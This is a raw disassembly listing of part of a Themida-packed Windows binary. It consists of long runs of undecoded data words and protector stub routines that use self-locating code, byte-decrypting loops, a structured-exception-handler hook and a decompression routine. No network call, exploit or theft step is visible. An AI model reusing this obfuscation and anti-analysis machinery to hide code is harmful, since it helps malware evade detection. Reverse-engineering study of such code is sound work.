		dd 94000000h, 1FFFFD7h,	3 dup(0)
		dd 99000000h, 77E7A0h, 0
		dd 74000000h, 865559h, 0E9000000h, 700050DEh, 5000000h
		dd 4 dup(0)
		dd 4000000h, 7FFE03h, 0D7000000h, 8B77DD23h, 0BD83C0h
		dd 4 dup(0)
		dd 4D000000h, 0FFACA4h,	7 dup(0)
		dd 95000000h, 0A099h, 6	dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 0DF000000h, 0A9C530h, 0A3000000h, 5446h, 2 dup(0)
		dd 0A1000000h, 5803h, 3	dup(0)
		dd 0DF000000h, 0A9C530h, 0Bh dup(0)
		dd 0C4000000h, 760989h,	0B1h dup(0)
		dd 4000h, 3 dup(0)
		dd 18000000h, 77E806h, 0F3000000h, 7FFDDFh, 3 dup(0)
		dd 4000000h, 0A07FFE03h, 2000000h, 77E700h, 6 dup(0)
		dd 0AA00h, 2001C00h, 5 dup(0)
		dd 2C000000h, 0FEFFFFFFh, 68FFFFFFh, 25A2C1h, 28000000h
		dd 0Ch dup(0)
		dd 23000000h, 43005300h, 49575C3Ah, 574F444Eh, 79535C53h
		dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h
		dd 3Eh dup(0)
		dd 0E4000000h, 3, 8D000000h, 77F516h, 2	dup(0)
		dd 6D000000h, 562Dh, 25h dup(0)
		dd 68000000h, 4F000221h, 0DBE34A9Ch, 7FFE7Fh, 3	dup(0)
		dd 0E000000h, 5627h, 9 dup(0)
		dd 7A000000h, 66h, 0
		dd 98000000h, 0DA5D3Eh,	66000000h, 5531h, 0
		dd 4000000h, 7FFF43h, 0DD000000h, 9C69h, 0CE000000h, 0A71931h
		dd 0
		dd 0DD000000h, 9C69h, 3	dup(0)
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 0F000000h, 9CA0h, 0
		dd 0CC000000h, 561Ch, 0
		dd 0B7000000h, 77E77Ch,	0
		dd 0FF000000h, 0FFFFFFh, 7 dup(0)
		dd 8E000000h, 4D7F4Ah, 0
		dd 0B3000000h, 77F7EBh,	1000000h, 58000000h, 8D801102h
		dd 3000553Eh, 0E18676h,	4 dup(0)
		dd 0BA000000h, 0FF5DFFh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4FCFB7:				; CODE XREF: start:loc_4F9B1Ej
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 62C34A3h
		mov	[ebp+62C0F45h],	edx
		mov	[ebp+62C138Dh],	esi
		mov	[ebp+62C2369h],	eax
		cmp	dword ptr [ebp+62C06EDh], 0
		jz	short loc_4FCFEF
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4FCFEF:				; CODE XREF: start+6DFCDj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+62C124Dh],	eax
		push	45h
		call	sub_4FD0A3
		push	783749Ah
		call	sub_4FD0E9
		push	0A894B25h
		call	sub_4FD0E9
		jmp	loc_4FD22D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4FD0A3	proc near		; CODE XREF: start+6DFE7p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 62C3591h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_4FD0BF:				; CODE XREF: sub_4FD0A3+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_4FD0DE
		mov	eax, [ebp+arg_0]
		mov	[ebx+62C34FBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_4FD0BF
; ---------------------------------------------------------------------------


loc_4FD0DE:				; CODE XREF: sub_4FD0A3+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_4FD0A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4FD0E9	proc near		; CODE XREF: start+6DFF1p start+6DFFBp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 62C35DAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_4FD10F:				; CODE XREF: sub_4FD0E9+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_4FD10F
		mov	[ebp+var_84], 0
		lea	edi, [edx+62C34FBh]
		lea	esi, [ebp+var_80]


loc_4FD13F:				; CODE XREF: sub_4FD0E9+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_4FD14B:				; CODE XREF: sub_4FD0E9+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_4FD14B
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_4FD13F
		popa
		leave
		retn	4
sub_4FD0E9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_4FD189
; ---------------------------------------------------------------------------


loc_4FD185:				; CODE XREF: Themida_:004FD18Cj
		inc	dword ptr [ebp-4]
		inc	esi


loc_4FD189:				; CODE XREF: Themida_:004FD183j
		cmp	byte ptr [esi],	0
		jnz	short loc_4FD185
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_4FD21A
; ---------------------------------------------------------------------------


loc_4FD19B:				; CODE XREF: Themida_:004FD21Dj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4FD211
; ---------------------------------------------------------------------------


loc_4FD1A4:				; CODE XREF: Themida_:004FD215j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_4FD1FE
; ---------------------------------------------------------------------------


loc_4FD1B4:				; CODE XREF: Themida_:004FD202j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_4FD1D6
		cmp	bl, 39h
		ja	short loc_4FD1D6
		sub	bl, 30h
		jmp	short loc_4FD1F8
; ---------------------------------------------------------------------------


loc_4FD1D6:				; CODE XREF: Themida_:004FD1CAj
					; Themida_:004FD1CFj
		cmp	bl, 61h
		jb	short loc_4FD1E8
		cmp	bl, 66h
		ja	short loc_4FD1E8
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_4FD1F8
; ---------------------------------------------------------------------------


loc_4FD1E8:				; CODE XREF: Themida_:004FD1D9j
					; Themida_:004FD1DEj
		cmp	bl, 41h
		jb	short loc_4FD1F8
		cmp	bl, 46h
		ja	short loc_4FD1F8
		sub	bl, 41h
		add	bl, 0Ah


loc_4FD1F8:				; CODE XREF: Themida_:004FD1D4j
					; Themida_:004FD1E6j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_4FD1FE:				; CODE XREF: Themida_:004FD1B2j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_4FD1B4
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_4FD20E
		mov	eax, [ebp-10h]
		stosb


loc_4FD20E:				; CODE XREF: Themida_:004FD208j
		inc	dword ptr [ebp-8]


loc_4FD211:				; CODE XREF: Themida_:004FD1A2j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_4FD1A4
		add	edx, 4


loc_4FD21A:				; CODE XREF: Themida_:004FD199j
		cmp	edx, [ebp-4]
		jb	loc_4FD19B
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4FD22D:				; CODE XREF: start+6E000j
		mov	ecx, 7000h
		lea	edi, [ebp+62C3720h]


loc_4FD238:				; CODE XREF: start+6E228j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_4FD238
		mov	eax, 48692121h
		mov	edx, 0F008F000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+62C3821h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	ebp
		call	sub_4FD274
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_4FD274	proc near		; CODE XREF: start+6E258p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_4FD274	endp

; ---------------------------------------------------------------------------
		dd 29052FBBh, 0B1EE9535h, 0A0BB6554h, 806029FAh, 0BB6622E3h
		dd 6E8AEB2h, 2C000000h,	0A8D5DC64h, 2B5BFC00h, 0DA8B66C2h
		dd 0FFF00025h, 0CA8BF5FFh, 8166FF33h, 755A4D38h, 50B70F0Eh
		dd 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h, 58Fh
		dd 0C4830000h, 34958D04h, 52062C38h, 35FF64h, 64000000h
		dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh
		dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h
		dd 8109745Ah, 10000EEh,	0EBEB4000h, 33C7E8Bh, 503F81FEh
		dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 8B51C3C0h, 5510244Ch
		dd 0E8h, 0ED815D00h, 62C383Fh, 37FD858Dh, 8189062Ch, 0B8h
		dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0EAC35141h,	469264FAh, 0FD98C66h
		dd 0D8Ch, 8E900h, 0C6850000h, 59AA2891h, 0E1809E1Eh, 0C90AF504h
		dd 26850Fh, 0E3810000h,	55294DFDh, 9A185C7h, 1062Ch, 81600000h
		dd 7C09B7E6h, 0E680606Dh, 61D38BC0h, 3CE961h, 0DA8B0000h
		dd 9A185C7h, 62Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 6DA10FC3h, 0CE943h, 0D5630000h
		dd 8D980E95h, 0B796B140h, 858981A2h, 62C1671h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E3C35141h, 7081F4E7h
		dd 0BE9B6h, 88E40000h, 7D0A39AAh, 0B22DB9E4h, 62CB80A8h
		dd 73D8589h, 10E8062Ch,	78000000h, 1994DCD5h, 9B38527Fh
		dd 0D65A81FEh, 8B795C72h, 9BB45BC8h, 66F2C381h,	0ADB40000h
		dd 8BF9D22Bh, 0C88B1334h, 0ABB7F681h, 8B0F6E18h, 3, 81C2BF0Fh
		dd 6659A7EEh, 81C18A5Eh, 0FBD73F6h, 70B9666Fh, 133489DBh
		dd 80C0BF0Fh, 0EA83A3D9h, 0F3E18104h, 811F2ED2h, 0FF99B4FAh
		dd 1F850FFFh, 60000000h, 0FCF28B66h, 3BE961h, 0C5960000h
		dd 95FFFBD4h, 0B272E460h, 9E9C7087h, 491B97B9h,	0BE97427h
		dd 62000000h, 0E68EFD52h, 7B7841E7h, 88E936EDh,	69FFFFFFh
		dd 898A305h, 6F503C4Fh,	0B355D019h, 0E6A64452h,	1504EB0Fh
		dd 0E9000002h, 701h, 9E9h, 0A95EA500h, 583E46C9h, 60607FC2h
		dd 13E9958Bh, 3160062Ch, 2C1E2D85h, 0CDBD8906h,	61062C30h
		dd 60C02B61h, 6820Fh, 0BD0B0000h, 62C09E5h, 0B6D9529h
		dd 8B61062Ch, 29282454h, 2C1C599Dh, 7E906h, 1A430000h
		dd 1C31F989h, 0E185895Eh, 0E9062C09h, 7, 0B239C21Ah, 0BE3F6BDCh
		dd 3Ch,	13840Fh, 0EE90000h, 0CB000000h,	0F12DFE8Fh, 7ED09C22h
		dd 7AA2061Ah, 0C995893Dh, 3062C08h, 29242474h, 2C0EC5BDh
		dd 89AD6606h, 2C09F995h, 24440306h, 0E950F524h,	6, 6EE83BFDh
		dd 489ED98h, 68E0F24h, 29000000h, 2C28FDBDh, 78408B06h
		dd 47DB509h, 3F8062Ch, 0E9282444h, 0Ch,	0E1BA11CAh, 69F9119Bh
		dd 75538129h, 8918408Bh, 2C15518Dh, 51B52906h, 40062C29h
		dd 0F58589F5h, 0F9062C39h, 85096058h, 62C1E59h,	0E09CBF66h
		dd 78708B61h, 22F19D89h, 0C683062Ch, 0B1B5091Ch, 60062C10h
		dd 14D19D8Bh, 800F062Ch, 18h, 13E9h, 0B02D3700h, 0F372370Dh
		dd 705CDB7Eh, 0A8BF401Bh, 7F800A2Ah, 24740361h,	0DE924h
		dd 60970000h, 0FCDE1096h, 4B2B1F6Bh, 8DA2A700h,	2C1AD1BDh
		dd 0BD9D8906h, 0AD062C26h, 244403FCh, 0BD958924h, 0AB062C1Dh
		dd 14F18589h, 0BD8D062Ch, 62C0D51h, 8CE08060h, 0A99B589h
		dd 0AD61062Ch, 244403F5h, 0D5858924h, 0E9062C0Bh, 5, 61CC6673h
		dd 5250906Bh, 6E95250h,	7C000000h, 83CCC8D5h, 0F310F84h
		dd 8Fh,	0F585A00h, 830F6031h, 0
		dd 50585A61h, 0EF1BE60h, 0FE96C6Ch, 0F000000h, 0DA97A76h
		dd 1E419516h, 8B205336h, 9061994Fh, 1D8A0Fh, 8B600000h
		dd 2C0D7D8Dh, 10E906h, 0DCCE0000h, 0DD1C1EA7h, 0DD0846FBh
		dd 0D4123B4Fh, 0AB61D31Eh, 68D0Fh, 95890000h, 62C05D5h
		dd 119DBD8Dh, 8D0F062Ch, 16h, 0AE860h, 46F60000h, 8FE7F49Dh
		dd 8D4503DAh, 0A8B9665Fh, 0FAD61F5h, 181h, 4403F900h, 80602824h
		dd 9D8B64F2h, 62C30F1h,	0BD29AB61h, 62C1B79h, 24359589h
		dd 0F5E062Ch, 78Ah, 1820F00h, 0FC000000h, 39F58DFFh, 0BD83062Ch
		dd 62C39F5h, 0C7107500h, 1C2444h, 8D000000h, 2C3EABB5h
		dd 56E6FF06h, 244403ADh, 0DF8B9728h, 21AD858Ah,	0C084062Ch
		dd 73A0474h, 32574C75h,	0FD75AEC0h, 52FB2B5Eh, 49C933FCh
		dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h
		dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h
		dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h
		dd 835E0F74h, 85FF04C6h, 62C09E1h, 0FFFF6FE9h, 8D295EFFh
		dd 62C1081h, 858BF8F5h,	62C09E1h, 9B18D01h, 0E0D1062Ch
		dd 1B858589h, 8503062Ch, 62C119Dh, 1B850Fh, 8D0F0000h
		dd 15h,	10E9h, 1F831500h, 76401CB3h, 22838245h,	6492886h
		dd 0BE97h, 11E90000h, 86000000h, 28EC2B22h, 8770B8FFh
		dd 0E28D329Eh, 167D5C16h, 46D8D89h, 0F96062Ch, 1586h, 10E900h
		dd 82EB0000h, 59ACA3B9h, 96864838h, 0D4AB2CEEh,	0AD669131h
		dd 6820Fh, 95890000h, 62C1215h,	0FC02E0C1h, 1AD18503h
		dd 8A0F062Ch, 12h, 0DE9h, 0D099CD00h, 0CDCDC4D5h, 0EB2C2E3Ch
		dd 8F0FEDFDh, 6, 2BF9B589h, 0E996062Ch,	0Eh, 38F98E46h
		dd 680445E8h, 0DF43AD9Eh, 89AD7539h, 2C160595h,	4C8BF806h
		dd 6E92424h, 0BC000000h, 0BD5911Dh, 0B19D891Dh,	3062C0Dh
		dd 89242444h, 2C342985h, 24448906h, 6096F81Ch, 0B5BE98B4h
		dd 6152E5E0h, 81B531ACh, 32062C04h, 0C1FEFCC9h,	78D0Fh
		dd 860F0000h, 1, 0FD0D0FCh, 9C83h, 68F0F00h, 1000000h
		dd 2C1545B5h, 0FD0D006h, 8883h,	0E3806000h, 9D8D899Dh
		dd 61062C01h, 820FD0D0h, 75h, 6880Fh, 8D310000h, 62C018Dh
		dd 820FD0D0h, 61h, 199501FCh, 0FE062C0Dh, 0AE890FC9h, 60FFFFFFh
		dd 61DE8B66h, 8920C483h, 2C00D985h, 2444C706h, 0FCh, 13E900h
		dd 56E00000h, 0F41DB1A9h, 5B7B5E67h, 99A0EF4Ah,	5BC25CEDh
		dd 1B8D3h, 0F600000h, 28Eh, 815B5000h, 1EEFA2C8h, 8D8D612Bh
		dd 62C71C8h, 29E1FFF8h,	2C14C195h, 0AD85C606h, 62C21h
		dd 13FD8D89h, 3160062Ch, 2C1191B5h, 798D8906h, 61062C1Fh
		dd 75850961h, 0C2062C10h, 50F80008h, 14E9h, 61D6EB00h
		dd 70D628CDh, 3C58E8B5h, 0A5A04B8Bh, 0EE422F62h, 24348920h
		dd 0CAB589F8h, 0E9062C40h, 12h,	9E9AD121h, 25F5DFAFh, 35EFC573h
		dd 0DC0ABEFBh, 8D893C43h, 62C40E6h, 6EB58DFCh, 60062C3Fh
		dd 6D9BD0Bh, 800F062Ch,	0
aAnebo		db 'a[',0
		db 9
		dd 2C1C298Dh, 60D0FF06h, 0DE40DF81h, 0B8665098h, 5E61BE0Bh
		dd 0AE9h, 98331100h, 0E7EE73B8h, 0C37763D9h, 1A418501h
		dd 11E9062Ch, 5F000000h, 7567713Ah, 6645D2ECh, 0BD08A6FEh
		dd 0B4DA5603h, 40CAB58Bh, 0F60062Ch, 0E8Ch, 9E900h, 1C6E0000h
		dd 160E6B0Dh, 0F41B950h, 68Dh, 850F00h,	61000000h, 40E68D8Bh
		dd 0B8FC062Ch, 0
		dd 27519D01h, 0D98B062Ch, 0FEE9F9h, 85290000h, 62C2075h
		dd 0E9602632h, 6, 406B4F8Dh, 0F68146EFh, 256C0256h, 0E902B261h
		dd 0Eh,	56E72521h, 0FDB68376h, 893E590Ah, 31609F25h, 2C1101BDh
		dd 83E96106h, 0F000000h, 1183h,	0CE900h, 0F7E50000h, 0B292F890h
		dd 37A02DE7h, 0C2327EAFh, 7880Fh, 850F0000h, 1,	1D7A05F8h
		dd 8AF58A75h, 6880FCCh,	89000000h, 2C05C985h, 0E9C8D306h
		dd 0Dh,	1A5E24DEh, 71B8566h, 0AFBA1D5h,	8423517h, 958998D1h
		dd 62C0CE9h, 31818509h,	0CAFE062Ch, 1C830Fh, 8F0F0000h
		dd 16h,	11E9h, 9E4CFF00h, 7A6422E9h, 76AD636Fh,	5C4D0448h
		dd 0D20A5922h, 0FF8C850Fh, 9509FFFFh, 62C1F7Dh,	9D895360h
		dd 62C04B9h, 8A0F59h, 61000000h, 6820F4Bh, 29000000h, 2C23299Dh
		dd 880F4606h, 0Ch, 6810Fh, 8D290000h, 62C06D1h,	850FDB0Bh
		dd 0FFFFFF00h, 18E0Fh, 0CFF90000h, 68B0Fh, 0B5890000h
		dd 62C152Dh, 890F0000h,	6, 0A31BD89h, 0BD09062Ch, 62C1E35h
		dd 0BD010000h, 62C1565h, 9F50000h, 2C1CCD9Dh, 60000006h
		dd 3125958Bh, 0B529062Ch, 62C08C1h, 0C858D61h, 60062C3Ah
		dd 9E9h, 0A7638900h, 55AE566Fh,	0E8505CE1h, 0Dh, 748CE43Ah
		dd 86703185h, 0CB2ACB0Eh, 615E58B6h, 26898589h,	8C0F062Ch
		dd 0Bh,	0F2BF0F60h, 11158533h, 8D61062Ch, 2C3ED185h, 158D2906h
		dd 89062C12h, 2C127585h, 0CE806h, 0E0570000h, 714FF319h
		dd 98D0362h, 85898C18h,	62C0E65h, 6E85Eh, 5B780000h, 67D38CD1h
		dd 0D820Fh, 7E80000h, 9C000000h, 28F70DF0h, 5B5AD4C0h
		dd 61BEC681h, 85890000h, 62C25F9h, 68h,	0D9816600h, 525F1619h
		dd 11E9h, 0D0C1FC00h, 8F00A32Dh, 0FB89BCDDh, 312C7C52h
		dd 0FF5B49F9h, 0DE93734h, 37000000h, 1C94F107h,	0D40BA653h
		dd 0CE572551h, 0BECD8058h, 0F6D2C081h, 9589357Eh, 62C1B45h
		dd 9FF0C081h, 0C28117B9h, 66853832h, 2A23F081h,	9D035F24h
		dd 62C25EDh, 0CD958B50h, 8F062C25h, 8BF93E04h, 3EF83CFh
		dd 0E9950160h, 8B062C04h, 2C2669BDh, 0F4F6106h,	0FF81CAB7h
		dd 0FFFF9F40h, 1A850Fh,	0E9F50000h, 30h, 2A6629F4h, 24222998h
		dd 0B209C7E2h, 3083D80Ch, 0DC147BD1h, 1E38166h,	0FF71E920h
		dd 17F4FFFFh, 4BAE749Fh, 0D6B88545h, 0F3874B80h, 0C54E937Dh
		dd 14EBh, 3 dup(0)
		dd 880000h, 858D0000h, 62C4327h, 135D8589h, 0BD83062Ch
		dd 62C4268h, 2B840F00h,	0C6000001h, 2C21AD85h, 0E0685606h
		dd 81EC1ABAh, 0D7D92434h, 0B5FF3805h, 62C1671h,	3A0C858Dh
		dd 0D0FF062Ch, 425C8589h, 85C6062Ch, 62C21ADh, 0E176856h
		dd 48128D0h, 0D8AA3B24h, 71B5FF73h, 8D062C16h, 2C3A0C85h
		dd 89D0FF06h, 2C426085h, 0E8046A06h, 4,	1000h, 24448B50h
		dd 89008B04h, 58042444h, 426C858Bh, 0F405062Ch,	0C1000001h
		dd 509002E0h, 0FF006A90h, 2C426095h, 64858906h,	8B062C42h
		dd 0FFFFB8D8h, 95FFFFFFh, 62C135Dh, 95FFC38Bh, 62C135Dh
		dd 8DE9h, 68BD8300h, 62C42h, 1850Fh, 57C30000h,	4264BD8Bh
		dd 83AB062Ch, 2C426485h, 0C35F0406h, 4268BD83h,	0F00062Ch
		dd 185h, 8360C300h, 2C4264ADh, 9D8B0406h, 62C4264h, 0FFFC7B83h
		dd 1D850Fh, 97680000h, 815E04F9h, 79972434h, 6A5E04h, 95FF33FFh
		dd 62C425Ch, 26E9C361h,	0E8000000h, 4, 8000h, 24448B50h
		dd 89008B04h, 58042444h, 33FF006Ah, 425C95FFh, 0AD83062Ch
		dd 62C4264h, 0FFA8E904h, 0E948FFFFh, 1ADh, 24748B60h, 247C8B24h
		dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh
		dd 168A0000h, 0FD21246h, 6A83h,	2C03300h, 5850FD2h, 8A000000h
		dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h
		dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h
		dd 0B8FFFFFFh, 1, 850FD202h, 5,	1246168Ah, 2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh
		dd 34850F00h, 0B9000000h, 1, 850FD202h,	5, 1246168Ah, 2C913D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	8B56FFFFh
		dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h
		dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h
		dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh,	7D00h, 22830Fh
		dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h
		dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h
		dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh
		dd 247C8928h, 8C2611Ch,	929BA00h, 0D3E90000h, 62000009h
		dd 20EE3469h, 938FA4C0h, 477ECF1Fh, 0E5F876h, 0A6627D54h
		dd 76450EA5h, 645166E8h, 3FCB2AE6h, 2BE3344Fh, 8187A882h
		dd 562D9D08h, 0FA0FF64h, 0D601121Fh, 6B5104AFh,	64036AE9h
		dd 30CD28E6h, 31E3344Ch, 9B9AB782h, 4A339D17h, 1BB7E47Ah
		dd 0E2627911h, 6B5513E3h, 655127F8h, 24CD3DA8h,	37FA345Ah
		dd 959AB6CDh, 9317h, 62h dup(0)
		dd 62000000h, 2AE73469h, 9B9CB8CCh, 5D2E9D08h, 3B7EC78h
		dd 0E764385Ch, 7D5241B0h, 770328E9h, 35CC31E7h,	2BFF6608h
		dd 9386B8CCh, 0F30D45Ah, 10B0E46Eh, 0F5756B11h,	365D04B7h
		dd 7D734B86h, 34D125EDh, 2BFF3404h, 9089BECEh, 0F2AD45Ah
		dd 0FAAF971h, 0EB697511h, 384913ACh, 314728EDh,	25D121FAh
		dd 65FE6649h, 869DBEDBh, 402CCD5Ah, 0FA4F970h, 1Fh, 47h	dup(0)
		dd 62000000h, 37E93469h, 9183B2C3h, 0F2D9A08h, 0EAAE463h
		dd 0F56D7011h, 7D5503E3h, 7E4566E2h, 71C62AFDh,	2BE4615Ah
		dd 0D48FBFCBh, 567ED313h, 42B7FE78h, 0F27F6142h, 121E0CA6h
		dd 744F1681h, 7DC737E9h, 29E46108h, 0D48CB0CDh,	497EC913h
		dd 42A8E465h, 0E9617D5Ch, 791018B1h, 630322E2h,	30D637EDh
		dd 3CAA605Ah, 0D49AA4CDh, 4831CF0Ah, 4CA8EA65h,	61h dup(0)
		dd 62000000h, 20E67D6Eh, 8687B282h, 5B2EC808h, 4CE4EF72h
		dd 0EF644C11h, 6A4041B0h, 705121E3h, 30CA64E5h,	20E8345Bh
		dd 99C8BFC7h, 5F37D31Bh, 16A4E762h, 0E72C7C54h,	751005ADh
		dd 74413FEDh, 25CB4982h, 2CAA670Fh, 978DB7CCh, 0F3AD80Eh
		dd 3E5F275h, 0F4654E11h, 771012B6h, 634066FEh, 34C927E9h
		dd 11AA3A4Ch, 0D49BB8CAh, 4A32D41Ch, 0CAAFC37h,	0F12C6C16h
		dd 385B13ACh, 7C5A28EDh, 7FC736E7h, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 7CE90000h, 5700002Ah, 24398D89h, 0FC5B062Ch,	6D1958Bh
		dd 0C08B062Ch, 0DDDA8166h, 65BD8342h, 62C1Dh, 0BD830975h
		dd 62C23D9h, 50137400h,	0B8C08B53h, 1, 0B00E9D8Dh, 0D3FF062Eh
		dd 0BD83585Bh, 62C23D9h, 50117400h, 1B853h, 9D8D0000h
		dd 62EAEBFh, 585BD3FFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0B2C35545h, 84289BD2h, 0F99A25Fh, 287h
		dd 3191B300h, 2C33D58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 89AE426Fh, 92327535h
		dd 0C08B6BB4h, 68C0Fh, 9D8B0000h, 62C234Dh, 1AC1BD83h
		dd 0F00062Ch, 23984h, 68D0F00h,	8B000000h, 2C18E99Dh, 0E1BD2906h
		dd 83062C1Ch, 2C1C6DBDh, 840F0006h, 21Ah, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0A0C35141h, 88C3C94Ch
		dd 2D81B589h, 2960062Ch, 2C2C75BDh, 6D858B06h, 6A062C1Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 89D2C353h, 2C1F71BDh, 3E80506h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 5789BC3h, 8859509h, 0B390062Ch, 11E950C1h, 0F5000000h
		dd 386BC764h, 0BE49701Ah, 0B0416FC8h, 0A1EBA011h, 0F3816690h
		dd 858DB73Ch, 62C4F2Bh,	50DBBF0Fh, 489DF8Bh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
